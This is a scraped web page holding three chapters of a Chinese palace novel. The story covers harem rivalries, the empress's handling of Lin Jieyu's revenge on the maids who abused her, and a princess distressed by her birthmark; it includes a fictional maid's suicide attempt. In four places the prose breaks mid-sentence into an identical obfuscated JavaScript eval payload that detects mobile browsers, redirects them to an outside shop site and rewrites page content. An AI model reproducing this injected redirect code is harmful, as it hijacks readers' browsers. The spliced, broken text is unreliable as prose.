“那怎么行。”沈昭仪道,“如何能把担子都扔到两位娘娘身上?臣妾平日里对这些事虽不怎么上心,但臣妾时间充裕,又不是懒怠之人,要是学,也学得快,短期之内,帮娘娘处理一些杂事定然是没问题的。” “本宫来吧。”贵妃道。 此话一出,众人都用怀疑的目光看过来。 贵妃蹙眉,道:“怎么?不信我?从前我也是帮娘娘看过账本的。沈昭仪什么都不会,从头开始学要学到什么时候,还不如让本宫这个半吊子上呢?若是有什么不会的,我再去晨熙宫请教敬妃妹妹。” “也是个好法子。”齐昭容道,“皇后娘娘怀公主的时候,就是贵妃娘娘帮着打理的,那会儿敬妃娘娘还没入宫,没见过贵妃娘娘的手段,娘娘做事泼辣、果断,小事儿到了她手里,都妥善解决了。大事上虽没分寸,但总归有敬妃妹妹和皇后姐姐帮着,想来也不会出什么乱子。” 玉妃思索片刻,道:“齐妹妹这么一说,姐姐也想起来了,贵妃娘娘是协理过六宫,有些经验,是敬妃妹妹进宫后,贵妃娘娘才彻底撒手的,既然如此,交给娘娘并无不妥。” 贵妃一拍手,道:“那就这么定了,下午等皇后娘娘好些了,本宫去跟娘娘禀报。” 若是从前,皇后可能还推辞一下,可病了一场,她不得不接受妹妹们的好意了。 这一病,她实实在在感受到自己是老了,身体跟不上了,稍微操劳一些,就这痛那痛的。 说起来,她的年纪,都够当贵妃的母亲了。 她抚了抚眼角的皱纹,抬头看一眼正在看账本的贵妃,目光里带着些许羡慕。 贵妃转过头来,道:“陛下赏了林美人三匹符国进献的料子,一共就没多少,给了太后五匹,皇后娘娘三匹,臣妾三匹,剩下的都给了林美人。” “嗯。”皇后回过神来,一时没反应过来她话里的意思,随口应道,“林美人好福气,陛下的意思,明年要给她升婕妤。” “这才多久,位分就要超过陈美人了。”贵妃阴阳怪气地道,“陈美人入宫多久,她才入宫多久。” 皇后总算反应过来,坐起身,面色凝重,问道:“你不喜欢林美人?” 贵妃默默地拨着算盘,没说话。 皇后道:“为何?” 贵妃依旧不语,只等皇后来推她,她才转过头来,吞吐道:“自从她进宫,陛下都少进春和宫了。” 皇后看了一眼易雁,易雁会意,带着众宫女下去了,关上门。 皇后道:“你不是不喜欢陛下?巴不得少伺候些?如今有人分宠,也是分你的辛劳,不好吗?” “话是这么说……”贵妃侧过身去,赌气地把算盘扔到一边,“陛下上个月得了一支琉璃祥云步摇,珍贵异常,往日里若不是给皇后娘娘,定然会给臣妾,可如今,竟赏了林美人……好东西都让她得去了,她还要装无辜、装清高,整日去佛堂念经,好像根本不在意似的。” 皇后瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991405|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她一眼,靠在枕头上。 贵妃拿了两个枕头来给皇后垫上。 皇后道:“你这话,本宫听了着实生气。” 她叹了口气,并未疾言厉色,反而平和道:“但本宫转念一想,你年纪小,被这些身外之物牵绊情绪,也是情理之中。但你要知道,心有不平是你的问题,和林美人无干,陛下要去她那里,她又没有办法。” “嗯……”贵妃低着头,但看上去并未真心认错。 皇后道:“圣心难测,恩宠不会永远停留在一个人身上的,前朝或许有,但陛下……本宫是了解的,他绝不可能。你入宫前,他宠玉妃多些,后来是齐昭容,你入宫后,他独宠你,后来敬妃和月昭容也分了些恩宠,但都没有你多。如今,他又宠爱林美人,往后还会有其他人。你要调理好自己的心,切不可因嫉妒生出事端。” 贵妃点头,皇后还是不放心,坐起身来,语重心长地道:“倘若本宫、玉妃、齐昭容,都存着嫉妒之心,每日争风吃醋,那咱们现在还有好日子过吗?本宫知道你向来是个好孩子,可千万别想岔了,搅乱了姐妹间的关系。” “哎呀娘娘放心吧。”贵妃拉住娘娘的手,“我还能去一刀捅死她吗?我也不至于故意坑害她。臣妾不屑!臣妾不屑为了一个男人、或是金银珠宝,变得面目可憎,臣妾也不想失去皇后娘娘的疼爱,臣妾不会的。” 皇后点头,将心放在了肚子里,她了解贵妃的性子,她也相信,贵妃不会的。 贵妃做人向来堂堂正正,是绝不会动歪脑筋去对付谁的。 皇后道:“你若是实在不喜欢她,也不用逼着自己与她相处,宫里这么大,后宫姐妹这么多,你少与她来往就是了,碰到了问候一声,碰不到就索性当没有这个人。不过,你若能想明白,像对待其她姐妹一样对待她,本宫更高兴。” “嗯。”贵妃点头,“臣妾会的。” 吕哲政说话算话,再进后宫请安的时候真的给秦舒蕊带了马家香的肘子。 一直装在食盒里,还热着呢。 公主高兴得把书往旁边一推,叫盼儿去取了碗筷,拉着几个宫女内侍一起吃,一人只准吃一口,她还要留一些给母后和母妃们。 太子殿下带的不多,她自己也只吃了一口,再多吃一口,就不够分了。 吕哲政笑问道:“妹妹怎么不让我吃。” 秦舒蕊道:“太子哥哥想吃,明日还能再去买,但后宫里的人想吃,要等好久好久好久,说不定永远都吃不上呢,所以蕊蕊就不给你吃了,太子哥哥别生气,蕊蕊去跟盼儿学怎么做酥饼,等太子哥哥下次来,蕊儿做给你吃。” 吕哲政道:“我同你玩笑罢了。妹妹年岁还小,就别去做酥饼了,当心烫着自己。你若真想感谢我,就把我今日给你讲的文章背过,下次我来时,背给我听。” “好!”秦舒蕊一口答应下来,“母后说,人要心怀感恩之心,哥哥帮了我,我要谢谢哥哥。所以就算哥哥讲再难的文章,我也一定好好背下来。” 11. 嫔妾不怕 今年的第一场雪来得格外早,这才十一月,积雪就已经快要没过脚脖子了。 天凝地闭,风厉霜飞。 佛堂人手不多,一下雪,甭管是宫女还是内侍,都得放下手里的事,先来扫雪,免得摔了主子。 “请林婕妤安。”雨曦请安的声音里带着颤音。 林婕妤点点头,她刚升了位分,看上去心情甚好。 她心情好或不好时,都爱找雨曦的麻烦。 好几个月了,雨曦有些受不了,夜深人静时,她曾把自己的衣服凝成一股绳,盼着能一口气解脱。她尝试了好几次,都没把衣服挂上房梁,终于,在第六次,她挂上去了,可声音有些大,吵醒了同屋的三个宫女。 她们都劝她,说等明年夏天八九月就好了,到时候宫里会放出去一批宫女,新选的宫女又得等十月初才能进宫,会有大量人手空缺,到时候求着管事的,塞些银子,换到哪位娘娘宫里做活,林美人就够不着了。 她是这么想着的,也和掌事姑姑哭过、说过,姑姑可怜她,可也没有办法,只能让她自己去求林美人。 她求过,可林美人只是看着她恸哭流涕的模样,很认真地说了一句“你竟然也会痛吗,我以为只有我会呢”。 雨曦神经紧绷,整张脸都有些发红。 林婕妤指了指自己的鞋。 雨曦跪下,用手将她鞋上的雪扫干净。 林婕妤道:“我的鞋袜湿了,刚才上来的时候还差点摔了一跤。就罚你明日晨起之前,一个人将这座小山上的积雪全都扫干净。” 昨天晚上雪才开始下,现在是清晨,她们刚起床干活,哪能一下子把雪都打扫干净? 但她知道,辩解无用,算了。 “慢着!”熟悉的声音响起,林婕妤一惊,回过头。 她连忙蹲身,请安道:“嫔妾给贵妃娘娘请安,娘娘万安。” 贵妃没有像往常一样立刻让她起来,语气不好地质问道:“好端端的,你罚她做什么?” 林婕妤已经从惊色中恢复,面色如常地道:“她弄湿了嫔妾的鞋袜。” 她语气坚定,说得跟真的似的。 贵妃道:“本宫都听见了,林婕妤也太为难人了些,就算她从昨晚开始就一直在扫雪,也不能在这么短的时间内扫干净啊。林婕妤要是怕湿了鞋袜,晚两天出门就是了,再过几天,地上的积雪就没有了。” “是。”林婕妤道。 贵妃被她轻描淡写的语气弄得有些恼火,声音提高了些,道:“林婕妤是仗着陛下的宠爱,恃宠而骄了吧。肆意妄为,苛待宫人,枉你日日念经拜佛,佛家的慈悲为怀都学到哪里去了。你就在佛堂静坐一个时辰,念念经,想想你刚才的行为,好生反省反省。” “是。”林婕妤的语气依旧冷冷清清,不带一分情绪。 贵妃有火无处发,又道:“下次要是再让本宫看见你胡作非为,就不是坐着,是站着了,若是站着再不长记性,就跪着。” “是,嫔妾知错。”林婕妤低下头,道。 大清早起来一肚子气,贵妃已经没心思进去祈福了。 她转过身,走下山,上轿,直冲凤鸣宫去了,一进门,就把手炉往桌子上一摔。 公主抱着毯子靠在暖阁睡觉,被这一声惊得直起上半身,醒了。 皇后抚摸着公主的头发,安抚着。她转过脸,无奈道:“舒云,谁又惹你了,风风火火的。” 贵妃刚进来的时候没发现公主在屋里,她不好意思地把手炉拿起来,又拉不下脸来跟小孩子道歉,只能说:“张母妃还以为你在公主阁,让安禾给你送麻酥糖去了,你要不要去吃?回你房间去吧。” 公主靠在母后怀里,道:“不要,母后这里更暖和。张母妃能不能让安禾姐姐把麻酥糖拿过来?” 皇后道:“母后等会儿要去给你皇祖母请安,你去帮母后选一条厚披风,好不好?” “唔……好吧。”公主纠结片刻,还是从毯子里出来了,她最喜欢母后穿亮色的衣服了,但母后总是穿一些深色的衣服,看上去太严肃了。 她要给母后选那个橙色的厚披风。 易雁跟着公主出去,带上门。 贵妃的气消了大半,但她还是要说,“臣妾去佛堂祈福,碰到林婕妤了。林婕妤无理取闹,嫌地上的积雪没扫干净,害她鞋袜湿了,要罚宫女一个人打扫后山所有的积雪。” 皇后剥橘子的手一顿,道:“她和佛堂的几个宫女有过节,本宫知道。” “啊?”贵妃一挑眉,神色有一瞬间的呆滞,“哦,对,臣妾忘了,她以前是宫女出身的。娘娘既然知道,为何放任不管?” “本宫没想好怎么管。”皇后垂眸,放下手中的橘子。 刚开始确实是因为无计可施,所以没管,后来很长一段时间没听人提起过这件事,她就忘了。 她道:“从前那些宫女对她,也都是些细碎的折磨,你要说犯了什么宫规,倒也没有,你让本宫罚,本宫当真不知如何罚。林婕妤有怨气,罚轻了,她不乐意,罚重了,宫人又有怨言,此事若传到陛下那里,又对林美人不利。本宫想着,干脆全当不知,睁一只眼闭一只眼,只要林婕妤不过分,就由着她算了。那几个宫女,也是自作自受。” 贵妃不敢相信这是皇后娘娘的决定,一拍桌子,道:“娘娘怎能如此!且不说若是真让那位宫女一个人扫后山所有的积雪,会不会到病重难医的地步,就当是她罪有应得,随她去了,可林婕妤经此一事,难道不会更加嚣张跋扈,肆行无忌?以后,娘娘还能管得了她吗?” 皇后被她一惊一乍吓得心怦怦跳,她闭了闭眼,道:“你冷静些,你姐姐我都快五十了,受不了你这么一惊一乍的。” “是,臣妾知错。”贵妃闷声道。 皇后叹了口气,道:“此事确是本宫的不是,大约是人老了,糊涂了,很多事都力不从心了。” 贵妃道:“那娘娘打算怎么办?” 皇后揉了揉眉心,道:“林婕妤受了那些宫女三五年的折磨,要真是让她们这么轻易过去了,本宫也觉得对不住林婕妤。那就……” 她想说逐出宫去,可若是按有罪逐出宫去,只怕家里会断了钱粮,一家老小都要跟着受牵连。 可若罚去做苦工,又罪不至此。 此事难解。 皇后道:“逐出宫去吧,这些宫女要是一直留在宫里,林婕妤的怨气只怕发泄不完,对谁都不好。你让人偷偷去给那些宫女塞一个月月例,剩下的,就看她们的命数吧。” 贵妃问道:“以何罪论呢?” 皇后思索片刻,道:“讹言谎语,惹是生非。” 在去给太后请安的路上,皇后心里还一直想着这个事儿,她觉得自己不得不跑一趟景福宫,和林婕妤谈谈。 宫里规矩大,连大喊两声都不行,在这样的地方生活,最重要的就是不能有怨气,否则你的怨气要如何发泄呢,总怀揣着恨意,可不就是在为难自己? 皇后特意去打探过,她知道,林婕妤的偏执不是她的错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991406|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她原是正议大夫的女儿,父亲获罪入狱,家族没落。 十三岁入宫,掌事姑姑说她性子倔,不服管,挨了多少打,听了多少骂,也不肯自称奴婢。后来听说要逐出宫去了,才终于肯改口。 她性子冷,不会说好听话,不过做事利落。还能识字,会读书。 可这宫里向来不准宫女读书,管事的就派她去了后山佛堂。 她在那里为佛祖扫了三年地,十七岁,总算扬眉吐气,做了主子。 她向来孤僻,不喜欢与后宫姐妹来往,也不喜欢公主。 皇后听完这些,再看到她一个人的时候,只觉得心痛。 她给太后请完安出来,突然想一个人走走。 她远远的,看见林婕妤低着头,一个人在雪地里走。 她走得很仔细,小心翼翼地抬脚,去寻找前面那个人的脚印,就这样跟随前人的步伐,在这宫里一圈圈打转。 皇后走上去,摆摆手,免了她的请安。 皇后笑道:“这里离景福宫近,姐姐累了,可否到妹妹宫里讨杯茶喝?” 林婕妤道:“可以,皇上刚赏了臣妾好茶,请皇后娘娘尝个新鲜。” 皇后知道她素来有什么说什么,今年新进贡的茶叶陛下确实只赏了她一个人。 皇后拉住她冰凉的手,“那姐姐就不客气了。” 景福宫的炭火烧得很旺,皇后一进宫就感受到了暖意,脱了披风,坐到暖阁上烤火。 林婕妤让人给拿了茶水点心和热粥,找了本书坐在暖阁上看。 皇后看她投入,一时张不开嘴去打扰她。 大约过了一个时辰,林婕妤把手里的书看完了,皇后才道:“听贵妃说,她罚你在佛堂坐了一个时辰,可有冻着?要不要找太医来看看?” 林婕妤摇摇头,道:“多谢娘娘关心,嫔妾无事,嫔妾喜欢去佛堂,平日里经常在佛堂一待就是一两个时辰,贵妃娘娘嘴硬心软,不算罚。” “那就好。”皇后看她没生气,放下心来,“听闻你和佛堂的宫女有过节,总是为难于她?” “娘娘不是知道嘛。”林婕妤坦然道。 皇后挑眉,诧异道:“本宫如何知晓?” 林婕妤道:“娘娘若是不知道,按娘娘的个性,早该管了。嫔妾也一直想找个机会多谢娘娘体恤,不与嫔妾计较,今日娘娘既然自己提了,嫔妾就在这里谢过。” 皇后放下手里的手炉,起身去扶她,“不必如此……” 两人坐回各自的位置上。 林婕妤主动道:“娘娘似乎有话要说?” 皇后点头,她不知如何开口。 犹豫片刻后,她道:“本宫以搅扰后宫安宁为由,将那几个宫女赶出去了。” 她注意到林婕妤面色凝滞,忙去拉她的手,她感受到林婕妤下意识的挣扎,但很快被理智压下去,没有挣脱开。 皇后放开手,道:“姐姐知道你委屈,知道你放不下,可在这宫里,再放不下又能如何?她若真是因着你的缘故,想不开了,寻死了,只会给你带来祸端。” “嫔妾不怕。”林婕妤愀然道,“妾身无亲无故,只身一人,不就是条命,有什么好留恋的!嫔妾想做主子,也不是为了什么情爱、珠宝,嫔妾就是不甘心!不甘心一辈子被人踩在脚下,永不翻身。” 她侧过头,盯着皇后,第一次,露出獠牙来,“皇后娘娘,您到底是为着臣妾,还是可怜那些恶人,您自己心里清楚。您不觉得,您的好心用错地方了吗?” 12. 家书抵万金 皇后鲜少面容含怒,但此刻,她面上的和善终于有些维持不住。 后宫众人虽性格各异,但如此不尊重她的也少有。贵妃和她熟络之前也是尊重有加,晨昏定省,从不迟到,见面告别都恭恭敬敬地行礼问安,后面相处的时间久了,成了家人,才慢慢免去了这些繁琐的礼仪,贵妃的孩童稚气不能在陛下面前显露,就都丢给了皇后。 她虽怒,可又忍不住在心中责怪自己。 她怪自己没有真心实意地把林婕妤当家人。 林婕妤本就孤苦伶仃,她自个儿又孤傲不爱与人结交,此刻,正是她的伤心时。 她作为皇后,作为后宫嫔妃的依靠,怎么能在这个时候责怪她出言不逊呢。 皇后消化了心中的不满,整理好情绪,抬头看着她,道:“姐姐知道,现在说什么你都听不进去。姐姐笨嘴拙舌的,也说不清楚。姐姐只能说,姐姐是皇后,皇后有皇后的职责,不能任由你酿成大祸以后再……” “呵……”林婕妤不屑地打断她,转过脸,不愿看她,“娘娘说不能任由嫔妾酿成大祸,可嫔妾做什么了?嫔妾只是将她从前扔在我身上的还给她罢了。那敢问皇后娘娘,当年嫔妾受苦的时候您在哪里?您当时为什么不能顾全大局把她们赶出去!现在……现在您说您要履行皇后的职责,要顾全大局……” 皇后无从辩解,她转着腕上的珠子,道:“是姐姐对不住你,是姐姐欠你的。” 林婕妤面色凝滞,发泄的话已经到了嘴边,却什么也说不出来。 她开口前已经做好承担任何后果的准备,不论是禁足、罚跪,还是旁的什么,她统统都认。 可皇后就这样直截了当地承认了、道歉了,她这一拳好像打在了棉花上。 她感觉自己气到全身上下的皮肤都在发痒、颤抖,恨不得把眼前的东西全都砸烂。 皇后想再说些什么安慰林婕妤,但她什么都说不出来了。 她叹了口气,在宫里这么多年,也没什么长进。 她一直觉得自己不聪明,不是做皇后的料,可选中了就是选中了,不会做也要学着做,不想做也要做。 年轻的时候她常常躲在被窝里哭,仅仅一个决策失误就会让她好几天走不出来,她害怕这些事会被记在史书里,害怕后世人评说时,会说她不是一个好皇后,会说她没有大家风范,十足的小家子气。 她生来就是要做大家闺秀的,生来就是要心怀天下的。 她前半生的私心无非是陛下多爱她一些,可从未被满足过。 她后半生的私心唯有公主能健康平安长大。 她站起身,什么也没说,出去了。 她年龄大了,膝盖总是疼,尤其是冬天寒风刺骨的时候,走路都不利索。 陛下比她还大五个年头,看上去却比她康健许多。 林婕妤看着她蹒跚的步履,又看向身边的宫女,道:“那些奴婢都是干什么吃的,娘娘出门也不多差几个来跟着,去找两个内侍送娘娘回宫。” “是。”宫女道。 皇后回去的时候,公主和贵妃正在下棋。 皇后笑着打趣道:“咱们小公主好久没背书了吧,你太子哥哥下次来,发现你把他教的东西全忘了,该打你手板了。” “太子哥哥才不打我呢。”公主下意识接话道。 “哎呦,那你上次哭红了脸跑回来是谁打的?”皇后坐到她旁边,轻轻推了她一把,“怎么还抵赖呢。” “母后你记性怎么这么差。”秦舒蕊略带埋怨地看了她一眼,“是敬母妃打的。” “我都记得。”贵妃说着落了一颗白子,“公主回来哭了半天,还说以后都不要理敬妃妹妹了,结果第二天敬妃妹妹带着亲手做的点心来,公主又好了。” “哦……”皇后想起来了,她还记得当天晚上,玉妃还来解释了,说敬妃妹妹是气急了,连着讲了四天的书,结果那天下午突然发现,公主一点都没听进去,拿了张纸在上面画了几条线,假装弹琴,就这么无聊的把戏,竟然玩了四天,若不是那天突然兴起查问公主的功课,还不知道公主要装到什么时候。 月昭容可高兴坏了,说是时候教公主弹琴了。 贵妃调笑道:“都说臣妾最凶呢,如此看来,敬妃妹妹才是那个最凶的,张母妃可从来没打过人,是不是啊,蕊蕊。” 秦舒蕊点头,给予了认可,道:“是,张母妃可好了呢。” “诶,你敬母妃也是为着你。”皇后轻轻掐了下她的小脸,“你想休息几天就直接说嘛,你敬母妃又不会逼着你学,而且你连着学了这么多天,也确实该休息了。但你骗你敬母妃,她肯定生气,她辛辛苦苦在旁边讲,你一句没听进去,四天的工夫白白耽误了,你敬母妃为人端正,最讨厌弄虚作假。要母后说,五板子都打轻了,要是母后,打你十板子都不为过。” “哎呀皇后娘娘。”贵妃连忙道,“下着棋呢,等会儿把蕊蕊惹不高兴了,又不陪臣妾玩了。过去的事就别再说了,敬妃妹妹大约也不愿再说了。” 连着一整年,除了请安,林婕妤都没再踏进凤鸣宫一步。 第二年年初,林婕妤升了昭容,赐封号为惠。 皇后亲去道贺,她也只是冷淡地和皇后客套了几句。 秦舒蕊最近对读书、弹琴、打牌,还有下棋都没什么兴趣,她听盼儿说,上次跟着姑姑出宫采买的时候,发现民间最近特别流行志怪小说,可惜宫里不让看,她就没买。 秦舒蕊转脸就去求她的太子哥哥。 吕哲政虽然当场拒绝了,但三月份进宫的时候,还是在袖子里藏了一册,带给公主了。 公主天天把书藏在母后枕头下面,母后去沐浴的时候看,母后一进门就塞回去。 皇后知道她在藏东西,但不知道藏了什么,半夜拿出来看了一眼,犹豫片刻,又塞回去,装不知道了,还专门叮嘱宫女别拆穿她。 后面的几个晚上,公主不停地往母后那边拱,恨不得把母后挤下床。 皇后转过头来问她怎么了,她又不敢说。 皇后大概猜到了,无奈地拍着她的背,道:“多大了蕊蕊?九岁了吧,还不敢一个人睡觉,赖着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991407|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟母后睡。” 秦舒蕊又往她怀里拱了拱。 皇后笑道:“母后老了,蕊蕊要学着自己睡了。” 秦舒蕊连着三个晚上做噩梦,白天倒还好,所以她作息颠倒了三天,一到白天就困,一到晚上就睡不着。 此刻,她格外清醒,把母后的话一字不差地听进了耳朵里。 她抬头,黑暗中,她看不清母后的脸,“母后才不老,母后最最最漂亮了。” “呵……”皇后被她逗笑了,小孩子想的就是简单,“也是,这么多人疼爱你,就算母后不在了,也有人疼爱蕊蕊的。” 秦舒蕊终于反应过来母后在说什么,她立刻往上躺了躺,和母后面对面。 皇后本来还有点困,被她这么一搅和,困意大都消散了。 秦舒蕊道:“母后不用担心,母后肯定会长命百岁的。母后是不是哪里不舒服?宫里太医这么多,母后肯定会健健康康的。张母妃常说,好好吃饭就不会生病,不会生病就会长命百岁,母后要好好吃饭。” “好,母后好好吃饭~”皇后攥住秦舒蕊的小手,“母后没有不舒服,是你皇祖母。母后今天去侍候你皇祖母喝药,她躺在床上,痛得厉害,动都动不了,去年还能强撑着精神训训话,今天去的时候,她连气都喘不匀了。” 秦舒蕊伸出另一只手,拉住母后的手。 她能感受到,母后在害怕。 她道:“母后别害怕,蕊蕊之前去给皇祖母请安,皇祖母说她年轻的时候身体就不好,所以老了才会缠绵病榻。母后一直很健康,以后肯定也不会这么痛苦的。” 皇后看着她汪汪的泪眼,冲着她笑了笑,用拇指轻轻抚摸她的额角,“谢谢蕊蕊,经过蕊蕊这么一安慰,母后不害怕了,母后肯定会健健康康的,母后也要看着蕊蕊健康长大呀。” “嗯!”秦舒蕊搂住皇后的脖子,“母后要好好睡觉。” “嗯。”皇后轻拍她的背,“母后会好好睡觉。” 她偷偷用手背蹭掉眼角的泪水,年龄大了,连眼泪都少了,年轻的时候她能为了这点事哭一整晚。 她不是害怕自己,她是担心孩子。 太后这辈子有两个孩子,一个是陛下,还有一个是四公主。 陛下如今一切都好,公主却远嫁他乡,除了逢年过节的一封家书,什么音讯也无,就算是家书,也一定是经过宫里人的眼,确认无误后才送过来的。 信里没有提过一句伤痛,可太后娘娘还是看一遍哭一遍,一遍遍哭,一遍遍看。 她大部分时候已经完全被伤痛裹挟,偶尔清醒的时候才能坐起来,指着信里的某句话,问皇后:“千千说她生了个皇子,很开心。你说她是不是真的开心?她能不能每天抱到孩子啊?她身子有没有受到损伤?后宫琐事多不多?忙不忙?这孩子,怎么都不说啊。” 皇后除了帮太后擦眼泪,什么都做不了。 此刻,她怀抱着女儿,感受着孩子的头压在她胳膊上的分量,感受着孩子头发上梅花的香气,她不自觉地想到太后,眼泪又不自觉地流下来。 13. 以色侍人 十岁这年的冬天格外长,秦舒蕊感觉自己熬了好久才熬到过年。 今晚有宫宴,一大早,公主就起床拾掇自己。 “母后,我感觉我怎么打扮都不好看。” 皇后正在和宫女说晚宴事宜,无心去看顾公主,但听到这句话,还是转头想哄哄孩子。 她道:“转过来让母后看看。” 秦舒蕊觉得自己右半张脸好看些,所以只转了一半身子。 皇后道:“这么好看还说不好看呐!还要怎么好看呀!我们小公主最美了。” 她话音未落,又去接掌事宫女递来的册子,道:“母后还有事要处理,你去找你陈母妃好不好?” 她还没说完,公主已经站起身跑出去了。 盼儿看她一副快哭了的表情,忙追出去。 从前天早上开始,公主就一直琢磨着怎么能把鼻子侧面的胎记遮住,但就是怎么遮都遮不住。擦再多胭脂水粉,也只能让印记变得暗淡一点,不能让印记消失。 盼儿追回公主阁的时候,公主正趴在床上,欷歔不已。 盼儿走上前,想安抚公主,公主却突然放下了帷幔,将她隔绝在外。 她隔着一层浅浅的布料,安慰道:“公主哪里不好看了嘛,公主天姿国色,好若、好若……好若神仙中人,只是一点瑕疵而已,怎么就能说不好看了嘛。” “就是不好看。”公主坐起来,无理取闹似的喊道。 盼儿道:“好看的,没有人说公主不好看嘛。” “有人说!”公主道,“就是有人说了!” 盼儿想起来,几个月前她陪着公主乱逛,不知逛到哪个角落,听到几个十三四岁的宫女在议论。 “碧环姐姐,你被分配到哪里去了?” “掌事姑姑说我心细,让我去伺候公主,不过肯定是从粗活做起了。” “那还不好!倘若公主看重你,就能当大宫女了!听说皇后娘娘和公主都是性子和善的主,甚少打骂下人。不像我,被分去御花园洒扫,不知道什么时候才有出头之日呢。” “你见过公主吗?” “没有,不过听说脸上有个大胎记。” “啊?那应该很丑吧。” “丑不丑的有什么,和咱们有什么关系。” 秦舒蕊当时虽未发一言,可后来内务府送来宫人的时候,她刻意避开了碧环,选了几个别的。 虽然母后说不要对下人苛责过多,但这件事她就是心里有气,就是没办法当没听见。 盼儿当时只是觉得两个宫女胡言乱语罢了,既然公主不放在心上,那她也没必要再提起来惹公主不高兴。 公主哪里不好看?她真心实意地觉得公主好看,只是有些瑕疵而已,和氏璧不也有瑕疵吗?可还是被当成珍宝,代代相传下来了。 她滔滔不绝地讲了一大堆话,公主总算愿意擦干泪眼,拉起帷幔,从黑暗中出来了。 可盼儿看得出,她还是很难过。 晚宴的时候,陈美人去拉公主,想让她跟自己坐。 秦舒蕊拒绝了,秦舒蕊说陈母妃长得太好看了,坐在她旁边显得自己更丑了。 贵妃听了这话有些不高兴,厉声道:“胡说什么你这孩子,那你挑挑,看你哪个母妃丑,你坐她旁边。” 敬妃看公主快哭了,忙去拉贵妃,“好了好了,孩子还小,知道什么,肯定是在哪里听到浑话了,想不开。” 她说完,蹲下来,道:“蕊蕊不能这么说,你陈母妃前段时间生病,好久没见你了,你说你不想跟她坐,她会难过的。” 公主道:“我没有这个意思……” 说完,她去拉陈母妃的手,“陈母妃别生气了,蕊蕊不是不想跟你坐。” 陈美人道:“没事,陈母妃没误会,蕊蕊夸陈母妃漂亮,陈母妃高兴还来不及呢!蕊蕊自己选跟谁坐吧,反正咱们都住在这宫里,见面的机会多着呢,不差这一时半刻的。” 公主抿唇,刚才那话说的太不合适了,现在她选谁好像都不太好。 她要哭了。 敬妃不忍心把这样的难题抛给一个十岁的小孩子,她拉住公主的手,道:“公主和我坐好不好?正好敬母妃的位置在角落,周围没有烛光照着,没人会注意到我们的。” “好。”公主低下头,吸了吸鼻子。 贵妃发觉自己刚才的话讲得太重,想去安抚她,但陛下来了,众人只能转过身给陛下行礼,各回各位,绝口不提。 之前每次举办宴会,公主都要偷偷溜出去,过一会儿,太子也偷偷溜出去,两个人趁着没人监视能自在地说几句话。 但今天有些不一样,半个时辰过去了,吕哲政还是没看到公主起身,她一直待在角落里,低着头,敬妃给她夹菜,夹什么她就吃什么,什么话也不说。 吕哲政带了礼物,不知道今天还能不能给她。 终于,他看到秦舒蕊起身了,可敬妃娘娘也跟着起身了。 无法,他只好打消了这个念头,吩咐贴身内侍去把礼物送给公主。 敬妃拉着公主到了偏殿,遣散了周围的宫人,仔细问道:“蕊蕊哭什么?是觉得自己不够漂亮?” 秦舒蕊摇头。 敬妃道:“那是觉得方才说话不注意,怕惹了陈母妃不高兴?” 秦舒蕊有点不好意思承认,坐在那里一动也不动。 敬妃猜出了她的心思,拉住她的手,柔声道:“蕊蕊,你还小,你的这些心思,我们做大人的都知道,都能理解,也不会跟你计较。我们是担心,怕你总为着这些事情费神,对身子不好。” 她坐得离秦舒蕊近了些,贴着秦舒蕊的脑袋,道:“蕊蕊,母妃们没有觉得你不好看,你不要这么想。而且,我们都很羡慕你。” 秦舒蕊知道这话是敬母妃安慰她的,她就算不丑,也不会比母妃们好看,母妃们羡慕她什么?羡慕她有个大胎记? 敬妃没有骗她,她拉住公主的手,道:“蕊蕊,你是后宫女子中,唯一一个不用那么完美的姑娘,你可以不爱读书,你可以不爱下棋,你脸上有瑕疵,你的脸不是完美无缺的,这没关系,这都没关系,因为你不需要以色侍人,你不需要用你的脸讨好陛下。” 秦舒蕊转过脸来,口呆目钝。 她知道敬母妃向来最有分寸,从不会说出忤逆陛下的话。 可是今天,敬母妃说了,为了她的情绪,敬母妃做了她从前从来没有做过的事。 敬妃没有理会她的眼神,继续说道:“蕊蕊,你要知道,入宫要经过三轮大选,从外到内层层筛查。何止是脸,连身上、脚上都不能有瑕疵。想要走到陛下面前,想要走进后宫享受荣华富贵,首先要放下的,就是尊严,你要忍着羞耻,站在一群人中央,像个物件一样被挑选。每位嫔妃都说她不是以色侍人,可若不是皮相好,怎么能走到陛下身边呢?哪怕是选宫女,也不要歪瓜裂枣的。母妃们好看,可母妃们宁可不好看,这样就不用远离父母亲人,到这黑黢黢的地方来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 